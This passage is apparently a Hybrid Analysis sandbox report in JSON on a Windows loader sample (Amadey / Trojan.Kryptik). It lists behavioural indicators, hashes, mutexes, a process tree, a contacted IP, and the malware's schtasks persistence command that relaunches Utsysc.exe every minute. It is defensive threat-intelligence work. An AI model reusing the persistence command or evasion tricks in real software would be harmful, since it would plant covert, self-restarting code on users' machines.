Retrieval","name":"Contains ability to retrieve the time elapsed since the system was started (API string)","description":"Found reference to API \"GetTickCount64\" (Indicator: \"GetTickCount\"; Source: \"00000000-00001140.00000002.135699.00454000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1497.003","relevance":1,"id":"string-205","sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve usernames and/or user information (API string)","description":"Found reference to API \"GetProcessWindowStation\" (Indicator: \"GetProcessWindowStation\"; File: \"00000000-00001140.00000002.135699.0046B000.00000020.mdmp\")\n Found reference to API \"GetUserObjectInformationA\" (Indicator: \"GetUserObjectInformation\"; File: \"00000000-00001140.00000002.135699.0046B000.00000020.mdmp\")\n Found reference to API \"GetProcessWindowStation\" (Indicator: \"GetProcessWindowStation\"; Source: \"00000000-00001140.00000002.135699.0046B000.00000020.mdmp\")\n Found reference to API \"GetUserObjectInformationA\" (Indicator: \"GetUserObjectInformation\"; Source: \"00000000-00001140.00000002.135699.0046B000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1033","relevance":1,"id":"string-121","sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Reads system-defined device setup information from registry","description":"\"24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\CLASS\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\0002\"; Key: \"PRUNINGMODE\")\n \"Utsysc.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\CLASS\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\0002\"; Key: \"PRUNINGMODE\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":3,"id":"registry-106","sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"level":"informative","category":"System Security","name":"Contains ability to access device drivers","description":"Found string \":\\WINDOWS\\system32\\DRIVERS\" (Indicator: \"system32\\drivers\"; Source: \"00000000-00001140.00000000.131861.03580000.00000004.mdmp, 00000000-00001140.00000001.133780.03580000.00000004.mdmp, 00000000-00001140.00000002.135699.03580000.00000004.mdmp\")\n Found string \"\\Device\\HarddiskVolume2\\DosDevices\\C:\\??\\Volume{815ead30-0000-0000-0000-501f00000000}\" (Indicator: \"\\Device\\\"; Source: \"00000000-00001140.00000000.131861.03580000.00000004.mdmp, 00000000-00001140.00000001.133780.03580000.00000004.mdmp\")\n Found string \"\\Device\\HarddiskVolume2\\DosDevices\\C:\\??\\Volume{815ead30-0000-0000-0000-501f00000000}\" (Indicator: \"\\DosDevices\\\"; Source: \"00000000-00001140.00000000.131861.03580000.00000004.mdmp, 00000000-00001140.00000001.133780.03580000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-474","sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"level":"informative","category":"System Security","name":"Contains ability to terminate a process (API string)","description":"Found reference to API \"CorExitProcess\" (Indicator: \"ExitProcess\"; File: \"00000000-00001140.00000002.135699.00401000.00000020.mdmp\")\n Found reference to API \"CorExitProcess\" (Indicator: \"ExitProcess\"; Source: \"00000000-00001140.00000002.135699.00454000.00000002.mdmp, 00000000-00001140.00000002.135699.0046B000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1489","relevance":1,"id":"string-316","sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"level":"informative","category":"System Security","name":"Queries services related registry keys","description":"$3b","origin":"Registry Access","mitre_attack_id":"T1007","relevance":1,"id":"registry-173","sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"level":"informative","category":"System Security","name":"References device drivers used by rootkit malware","description":"Found string \"\\Device\\HarddiskVolume2\\DosDevices\\C:\\??\\Volume{815ead30-0000-0000-0000-501f00000000}\" (Indicator: \"\\DosDevices\\c:\"; Source: \"00000000-00001140.00000000.131861.03580000.00000004.mdmp, 00000000-00001140.00000001.133780.03580000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1014","relevance":1,"id":"string-458","sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"level":"informative","category":"Unusual Characteristics","name":"Drops executable files inside temp directory","description":"\"Utsysc.exe\" has type \"PE32 executable (GUI) Intel 80386 (stripped to external PDB) for MS Windows 3 sections\"- Location: [%TEMP%\\4fdb51ccdc\\Utsysc.exe]- [targetUID: 00000000-00001140]","origin":"Binary File","mitre_attack_id":"T1105","relevance":3,"id":"binary-33","sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"level":"informative","category":"Unusual Characteristics","name":"Matched Compiler/Packer signature","description":"\"24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15\" was detected as \"MPRESS v2.00-V2.0X -> MATCODE Software * 20090423\"","origin":"Static Parser","mitre_attack_id":"T1027.002","relevance":10,"id":"static-18","sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"level":"informative","category":"Unusual Characteristics","name":"Reads the windows installation language","description":"\"24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE GROUPS\"; Key: \"1\")\n \"24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE\"; Key: \"INSTALLLANGUAGEFALLBACK\")\n \"Utsysc.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE\"; Key: \"INSTALLLANGUAGEFALLBACK\")","origin":"Registry Access","mitre_attack_id":"T1614.001","relevance":2,"id":"registry-26","sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"Section contains high entropy","description":"\"24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15\" has section name .MPRESS1 with entropy \"7.999972795891703\"\n \"24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15\" has section name .rsrc with entropy \"7.016473257005423\"","origin":"Static Parser","mitre_attack_id":"T1027.009","relevance":1,"id":"static-6","sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"level":"suspicious","category":"Cryptographic Related","name":"Dropped file has high entropy (likely encrypted/compressed content)","description":"Dropped file \"%TEMP%\\4fdb51ccdc\\Utsysc.exe\" has high entropy 7.999963942572384\n Dropped file \"%TEMP%\\351455743570\" has high entropy 7.498866346973704","origin":"Binary File","mitre_attack_id":"T1027","relevance":5,"id":"binary-60","sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"level":"suspicious","category":"Environment Awareness","name":"Calls an API typically used to query local/system time as file time","description":"\"Utsysc.exe\" called \"FileTimeToSystemTime\" (UID: 00000000-00001140)","origin":"API Call","mitre_attack_id":"T1070.006","relevance":3,"id":"api-223","sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"level":"suspicious","category":"Environment Awareness","name":"Possibly tries to evade analysis by sleeping many times","description":"\"Utsysc.exe\" (Thread ID: 7832) slept \"525\" times (threshold: 500)","origin":"API Call","mitre_attack_id":"T1497.003","relevance":10,"id":"api-47","sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"level":"suspicious","category":"General","name":"PE file has unusual entropy resources","description":"\"24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15\" has resource with unusual entropy \"RT_ICON:7.992996742656558\"","origin":"Static Parser","mitre_attack_id":"T1027.002","relevance":5,"id":"static-92","sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"level":"suspicious","category":"General","name":"Reads configuration files (.ini files)","description":"$3c","origin":"API Call","mitre_attack_id":"T1083","relevance":4,"id":"api-6","sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Drops executable files","description":"\"Utsysc.exe.bin\" has type \"PE32 executable (GUI) Intel 80386 (stripped to external PDB) for MS Windows 3 sections\"- [targetUID: N/A]\n \"Utsysc.exe\" has type \"PE32 executable (GUI) Intel 80386 (stripped to external PDB) for MS Windows 3 sections\"- Location: [%TEMP%\\4fdb51ccdc\\Utsysc.exe]- [targetUID: 00000000-00001140]","origin":"Binary File","mitre_attack_id":"T1105","relevance":10,"id":"binary-1","sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"level":"suspicious","category":"Network Related","name":"Sends traffic on typical HTTP outbound port, but without HTTP header","description":"TCP traffic to 185.172.128.5 on port 80 is sent without HTTP header","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-23","sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"level":"suspicious","category":"Ransomware/Banking","name":"Checks warning level of secure to non-secure traffic redirection","description":"\"Utsysc.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\"; Key: \"WARNONHTTPSTOHTTPREDIRECT\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":7,"id":"registry-9","sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Calls an API typically used to find a SID for the specified name","description":"\"Utsysc.exe\" called \"LookupAccountNameA\" with parameters {\"AccountName\": \"Ot46clg\"\n \"Sid\": \"18674848\"\n \"cbSid\": \"ff000000\"\n \"ReferencedDomainName\": \"DESKTOP-FVVF82A\"\n \"cchReferencedDomainName\": \"0f000000\"\n \"peUse\": \"01000000\"}","origin":"API Call","mitre_attack_id":"T1087","relevance":2,"id":"api-189","sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"level":"suspicious","category":"System Destruction","name":"Marks file for deletion","description":"\"Utsysc.exe\" marked \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\351455743570\" for deletion\n \"Utsysc.exe\" marked \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\80c6bf70bf3f8f\\cred64.dll\" for deletion","origin":"API Call","mitre_attack_id":"T1070.004","relevance":10,"id":"api-26","sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"level":"suspicious","category":"System Destruction","name":"Opens file with deletion access rights","description":"\"Utsysc.exe\" opened \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\351455743570\" with delete access\n \"Utsysc.exe\" opened \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\80c6bf70bf3f8f\\cred64.dll\" with delete access","origin":"API Call","mitre_attack_id":"T1070.004","relevance":7,"id":"api-25","sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"level":"suspicious","category":"System Security","name":"Modifies proxy settings","description":"\"24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\"; Value: \"01000000\")\n \"Utsysc.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\"; Value: \"01000000\")","origin":"Registry Access","mitre_attack_id":"T1090.001","relevance":10,"id":"registry-27","sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Entrypoint in PE header is within an uncommon section","description":"\"24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15\" has an entrypoint in section \".MPRESS2\"","origin":"Static Parser","mitre_attack_id":"T1027","relevance":10,"id":"static-4","sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Imports suspicious APIs","description":"RegCloseKey\n GetProcAddress\n GetModuleHandleA\n closesocket","origin":"Static Parser","mitre_attack_id":"T1106","relevance":1,"id":"static-1","sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"level":"malicious","category":"Anti-Detection/Stealthiness","name":"Creates a process in suspended mode (likely for process injection)","description":"\"24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe\" called \"CreateProcessW\" with parameter \"\"%TEMP%\\4fdb51ccdc\\Utsysc.exe\"\" - (UID: 00000000-00002224)\n \"Utsysc.exe\" called \"CreateProcessW\" with parameter \"\"%WINDIR%\\System32\\schtasks.exe\" /Create /SC MINUTE /MO 1 /TN Utsysc.exe /TR \"%TEMP%\\4fdb51ccdc\\Uts\" - (UID: 00000000-00001140)","origin":"API Call","mitre_attack_id":"T1055","relevance":10,"id":"api-129","sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"level":"malicious","category":"External Systems","name":"Sample detected by CrowdStrike Static Analysis and ML with relatively high confidence","description":"CrowdStrike Static Analysis and ML (QuickScan) yielded detection: win/malicious_confidence_100% (W)","origin":"External System","relevance":10,"id":"avtest-8","sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"level":"malicious","category":"General","name":"Calls an API typically used to execute an application","description":"\"24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe\" called \"ShellExecuteA\" with parameter %TEMP%\\4fdb51ccdc\\Utsysc.exe (UID: 00000000-00002224)\n \"Utsysc.exe\" called \"ShellExecuteA\" with parameter SCHTASKS (UID: 00000000-00001140)","origin":"API Call","mitre_attack_id":"T1106","relevance":10,"id":"api-117","sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"level":"malicious","category":"Installation/Persistence","name":"Loads the task scheduler COM API","description":"\"schtasks.exe\" loaded module \"%WINDIR%\\SysWOW64\\taskschd.dll\" at 73B30000","origin":"Loaded Module","mitre_attack_id":"T1559.001","relevance":5,"id":"module-4","sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"level":"malicious","category":"Installation/Persistence","name":"Schedules a task to be executed at a specific time and date","description":"Process \"schtasks.exe\" with commandline \"/Create /SC MINUTE /MO 1 /TN Utsysc.exe /TR \"%TEMP%\\\\4fdb51ccdc\\\\Utsysc.exe\" /F\" (UID: 00000000-00006240)\n Process \"schtasks.exe\" with commandline \"/Create /SC MINUTE /MO 1 /TN Utsysc.exe /TR \"%TEMP%\\\\4fdb51ccdc\\\\Utsysc.exe\" /F\" (UID: 00000000-00002156)","origin":"Monitored Target","mitre_attack_id":"T1053.005","relevance":8,"id":"target-13","sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"level":"malicious","category":"Installation/Persistence","name":"Writes data to a remote process","description":"\"24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe\" wrote 00000004 bytes to a remote process \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\4fdb51ccdc\\Utsysc.exe\" (Handle: 1320)\n \"Utsysc.exe\" wrote 00000004 bytes to a remote process \"C:\\Windows\\SysWOW64\\schtasks.exe\" (Handle: 1160)","origin":"API Call","mitre_attack_id":"T1055","relevance":6,"id":"api-0","sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"level":"malicious","category":"Unusual Characteristics","name":"Spawns a lot of processes","description":"Spawned process \"24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe\" (UID: 00000000-00002224)\n Spawned process \"Utsysc.exe\" (UID: 00000000-00001140)\n Spawned process \"schtasks.exe\" with commandline \"/Create /SC MINUTE /MO 1 /TN Utsysc.exe /TR \"%TEMP%\\\\4fdb51ccdc\\\\Utsysc.exe\" /F\" (UID: 00000000-00006240)\n Spawned process \"Utsysc.exe\" (UID: 00000000-00004444)\n Spawned process \"schtasks.exe\" with commandline \"/Create /SC MINUTE /MO 1 /TN Utsysc.exe /TR \"%TEMP%\\\\4fdb51ccdc\\\\Utsysc.exe\" /F\" (UID: 00000000-00002156)","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":8,"id":"target-14","sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]}],"incidents":[{"name":"Spyware","details_count":1,"details":[{"detail":"Found a string that may be used as part of an injection method"}],"sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"name":"Persistence","details_count":3,"details":[{"detail":"Writes data to a remote process"},{"detail":"Schedules a task to be executed at a specific time and date"},{"detail":"Spawns a lot of processes"}],"sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"name":"Fingerprint","details_count":5,"details":[{"detail":"Queries kernel debugger information"},{"detail":"Queries process information"},{"detail":"Queries the internet cache settings (often used to hide footprints in index.dat or internet cache)"},{"detail":"Queries sensitive IE security settings"},{"detail":"Queries the display settings of system associated file extensions"}],"sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"name":"Evasive","details_count":4,"details":[{"detail":"Marks file for deletion"},{"detail":"Possibly tries to evade analysis by sleeping many times"},{"detail":"PE file has a section name known to be used by a packer/protector"},{"detail":"PE file is packed with MPress Packer"}],"sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"name":"Network","details_count":1,"details":[{"detail":"Calls an API typically used to create a HTTP or FTP session"}],"sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]}]},"activity":{"stats":{"process_count":5,"spawned_processes_count":5,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":21,"imported_dlls_count":73,"dropped_files_count":0,"extracted_files_count":4,"files_written_count":12,"files_deleted_count":0,"registry_keys_created_count":0,"registry_keys_modified_count":0,"registry_keys_deleted_count":0,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":0,"embedded_ips_count":0,"embedded_domains_count":0,"embedded_urls_count":0,"contacted_hosts_count":1,"dns_resolutions_count":0,"contacted_urls_count":0,"http_requests_count":0},"behavior_tags":["amadeyloader","criminal","loader","downloader"],"sample_flags":["Multi-Process","Network Traffic","Extracted Files","TOR analysis"],"sandbox_reports":[{"id":"683c460b0a9f7c004f0a99a8","environment_id":160,"environment_description":"Windows 10 64 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"contacted_countries":["RUS"],"submit_name":"24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15","analysis_start_time":"2025-06-01T12:22:36+00:00","indicators_count":{"informative":107,"suspicious":45,"malicious":7},"tags":["Multi-Process","Network Traffic","Extracted Files","TOR analysis"],"is_in_unified_schema":true}],"network_activity":{"contacted_hosts":[{"address":"185.172.128.5","port":80,"protocol":"TCP","country":"Russian Federation","sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]}],"dns_resolutions":null,"http_requests":null},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}],"processes":[{"pid":2224,"ppid":0,"name":"24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe","command_line":"","sha256":"24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15","normalized_path":"C:\\24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15.exe","uid":"00000000-00002224","icon":"$3d"},{"pid":1140,"ppid":2224,"name":"Utsysc.exe","command_line":"","sha256":"24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15","normalized_path":"%TEMP%\\4fdb51ccdc\\Utsysc.exe","parent_uid":"00000000-00002224","uid":"00000000-00001140"},{"pid":6240,"ppid":1140,"name":"schtasks.exe","command_line":"/Create /SC MINUTE /MO 1 /TN Utsysc.exe /TR \"%TEMP%\\4fdb51ccdc\\Utsysc.exe\" /F","sha256":"42661ab5aa20d0973113e10c53b988cab16e9f7ffe91c70ca69bb65d4eeb6fb8","normalized_path":"%WINDIR%\\SysWOW64\\schtasks.exe","parent_uid":"00000000-00001140","uid":"00000000-00006240"},{"pid":4444,"ppid":0,"name":"Utsysc.exe","command_line":"","sha256":"24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15","normalized_path":"%TEMP%\\4fdb51ccdc\\Utsysc.exe","uid":"00000000-00004444","icon":"$3e"},{"pid":2156,"ppid":4444,"name":"schtasks.exe","command_line":"/Create /SC MINUTE /MO 1 /TN Utsysc.exe /TR \"%TEMP%\\4fdb51ccdc\\Utsysc.exe\" /F","sha256":"42661ab5aa20d0973113e10c53b988cab16e9f7ffe91c70ca69bb65d4eeb6fb8","normalized_path":"%WINDIR%\\SysWOW64\\schtasks.exe","parent_uid":"00000000-00004444","uid":"00000000-00002156"}],"all_imported_dlls":["propsys.dll","dwmapi.dll","nsi.dll","taskschd.dll","aepic.dll","bcrypt.dll","wow64.dll","GdiPlus.dll","oleacc.dll","cldapi.dll","gdi32.dll","combase.dll","wtsapi32.dll","urlmon.dll","OnDemandConnRouteHelper.dll","winnsi.dll","KernelBase.dll","kernel.appcore.dll","Windows.StateRepositoryPS.dll","xmllite.dll","CoreMessaging.dll","imagehlp.dll","ucrtbase.dll","gdi32full.dll","rpcrt4.dll","fltLib.dll","dui70.dll","chartv.dll","iertutil.dll","ntmarta.dll","kernel32.dll","cryptbase.dll","oleaut32.dll","wow64win.dll","user32.dll","windows.storage.dll","imm32.dll","ExplorerFrame.dll","win32u.dll","powrprof.dll","wininet.dll","atlthunk.dll","winsta.dll","IPHLPAPI.DLL","wow64cpu.dll","SHCore.dll","shlwapi.dll","VxSSL32.dll","msIso.dll","winhttp.dll","sechost.dll","cfgmgr32.dll","ntdll.dll","bcryptprimitives.dll","WindowsCodecs.dll","mswsock.dll","msvcp_win.dll","sspicli.dll","duser.dll","edputil.dll","apphelp.dll","ole32.dll","uxtheme.dll","comctl32.dll","msctf.dll","OneCoreUAPCommonProxyStub.dll","clbcatq.dll","advapi32.dll","msvcrt.dll","shell32.dll","profapi.dll","ws2_32.dll","cryptsp.dll"]},"file_activity":{"dropped_files":null,"extracted_files":[{"name":"Utsysc.exe","sha256":"1d5611877b0ed5ca720a22bd2150600d9657755c4d9fd3696a49933705c6a11c","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"name":"351455743570","sha256":"1181f66b3c8f92c49edbcda76a49ce4c7f16da6709d512b719369ad5b11492de","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"name":"Utsysc.exe.bin","sha256":"24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"name":"Utsysc.exe%3AZone.Identifier","sha256":"1409cc4125f7e08d09a731da789dc35c09afa8e716c00ad22d9f3f1b17a2cb33","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]}],"files_written":[{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches","sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"path":"%TEMP%\\4fdb51ccdc\\Utsysc.exe","sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"path":"%TEMP%\\4fdb51ccdc\\Utsysc.exe:Zone.Identifier","sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"path":"%TEMP%\\351455743570","sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"path":"C:\\Users\\%OSUSER%","sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"path":"%USERPROFILE%\\AppData\\Local","sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\INetCache","sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\INetCookies","sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\History","sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"path":"%APPDATA%\\80c6bf70bf3f8f\\cred64.dll","sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"path":"%APPDATA%\\80C6BF70BF3F8F\\CRED64.DLL","sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"path":"%APPDATA%\\80c6bf70bf3f8f\\clip64.dll","sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]}],"files_deleted":null},"registry_activity":{"keys_created":null,"keys_modified":null,"keys_deleted":null},"mutex_activity":{"mutex_created":[{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:2224:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SessionImmersiveColorMutex","sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"name":"Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"name":"Local\\SM0:2224:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"name":"Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"name":"Local\\SM0:2224:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"name":"SM0:2224:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"name":"Local\\SessionImmersiveColorMutex","sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:2224:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:2224:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"name":"\\BaseNamedObjects\\SyncRootManager","sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\80c6bf70bf3f8f7f70ad58b82ed298f8","sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:1140:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:1140:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"name":"SM0:1140:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"name":"Local\\SM0:1140:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"name":"Local\\SM0:1140:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"name":"80c6bf70bf3f8f7f70ad58b82ed298f8","sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:1140:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"683c460b0a9f7c004f0a99a8"}]}]}},"report_ids":{"sandbox_job_ids":["683c460b0a9f7c004f0a99a8"]}}}]]}] 20:null 24:[["$","title","0",{"children":"Malicious Trojan.Kryptik Sample 24ca467f398c… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample 24ca467f398c…. Malware family: Trojan.Kryptik. Threat score 100/100. 15/26 AV engines flagged this file. 7 malicious and 15 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15"}],["$","meta","4",{"property":"og:title","content":"Malicious Trojan.Kryptik Sample 24ca467f398c… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample 24ca467f398c…. 